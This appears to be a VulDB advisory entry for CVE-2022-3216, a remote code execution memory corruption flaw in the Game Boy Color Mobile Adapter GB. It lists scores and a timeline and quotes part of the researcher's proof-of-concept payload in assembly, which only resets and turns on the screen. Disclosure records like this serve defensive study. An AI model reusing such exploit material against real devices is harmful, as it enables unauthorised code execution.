



VDB-208606 · CVE-2022-3216

# NINTENDO GAME BOY COLOR MOBILE ADAPTER GB TETSUJI MEMORY CORRUPTION

CVSS Meta Temp Score (?)

6.2

Current Exploit Price (≈) (?)

\$0-\$5k

CTI Interest Score (?)

0.39

A vulnerability has been found in Nintendo Game Boy Color (Game Console) (the affected version is unknown) and classified as problematic. This vulnerability affects some unknown processing of the component *Mobile Adapter GB*. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was released 09/14/2022 by Harvey Phillips (TheXcellerator) as *Tetsuji: Remote Code Execution on a GameBoy Colour 22 Years Later* as confirmed blog post (Website). The advisory is available at [xcellerator.github.io](https://xcellerator.github.io). The vendor was not involved in the coordination of the public release. This vulnerability was named CVE-2022-3216. Successful exploitation requires user interaction by the victim. Technical details are unknown but a public exploit is available. The structure of the vulnerability defines a possible price range of USD \$0-\$5k at the moment (estimation calculated on 10/17/2022). This vulnerability has a historic impact due to its background and reception.

A public exploit has been developed by Harvey Phillips (TheXcellerator) in Assembler. It is declared as proof-of-concept. It is possible to download the exploit at [xcellerator.github.io](https://xcellerator.github.io). The code used by the exploit is:

```
ld a, (FF00+44)      ; Load LY register into A register
cp a, $90            ; Are we past vblank?
jr c, $CA4F          ; Loop until we are

xor a                ; Clear A
ld (FF00+40), a      ; Reset LCDC register

ld hl, $9800         ; Load $9800 into HL register
ld b, $F9            ; Load $F9 into B register
ld (hl), b           ; Load $F9 into the address pointed to by HL ($9800)

ld a, $B8            ; Index $38 into BG Palette Data, with Auto-Increment On
ld (FF00+68), a      ; Load $B8 into BGPI
xor a                ; Clear A
ld (FF00+69), a      ; Write 0 into BGPD
ld (FF00+69), a      ; Write 0 into BGPD

xor a                ; Clear A
ld (FF00+42), a      ; Load 0 into LY
ld (FF00+43), a      ; Load 0 into LX
ld a, %10000001      ; Set MSB and LSB Only
```

```
ld (FF00+40), a      ; Write $81 into LCDC - the LCD is now on!  
jr $CA70             ; Infinite Loop
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

## Product

### Type

- Game Console

### Vendor

- Nintendo

### Name

- Game Boy Color

## CPE 2.3

- 

## CPE 2.2

- 

## Screenshot





## CVSSv3

VulDB Meta Base Score: 6.3

VulDB Meta Temp Score: 6.2

VulDB Base Score: 5.0

VulDB Temp Score: 4.7

VulDB Vector:

VulDB Reliability:

NVD Base Score: 8.8

NVD Vector:

CNA Base Score: 5.0

CNA Vector (VulDB):

## CVSSv2



VulDB Base Score:

VulDB Temp Score:

VulDB Reliability:

## Exploiting

Class: Memory corruption

CWE: CWE-119

ATT&CK: Unknown

Local: No

Remote: Yes

Availability:

Access: Public

Status: Proof-of-Concept

Author: Harvey Phillips (TheXcellerator)

Author: Harvey Phillips (TheXcellerator)

Programming Language: 

Download: 

EPSS Score: 

EPSS Percentile: 

Price Prediction: 

Current Price Estimation: 

## Threat Intelligence

Interest: 

Active Actors: 

Active APT Groups: 

## Countermeasures

Recommended: no mitigation known

Status: 

0-Day Time: 

## Timeline

09/14/2022		Advisory disclosed
09/14/2022	+0 days	CVE reserved
09/14/2022	+0 days	VulDB entry created
10/17/2022	+33 days	VulDB last update

## Sources

**Advisory:** Tetsuji: Remote Code Execution on a GameBoy Colour 22 Years Later

**Researcher:** Harvey Phillips (TheXcellerator)

**Status:** Confirmed

**CVE:** CVE-2022-3216 ()

**scip Labs:** <https://www.scip.ch/en/?labs.20161013>

## Entry

Created: 09/14/2022 08:19 PM

Updated: 10/17/2022 02:11 PM

Changes: 09/14/2022 08:19 PM (41), 09/14/2022 08:20 PM (11), 09/14/2022 08:26 PM (3), 10/17/2022 02:10 PM (2), 10/17/2022 02:11 PM (21)

Complete: 

## Discussion

No comments yet. Languages: en.

Please log in to comment.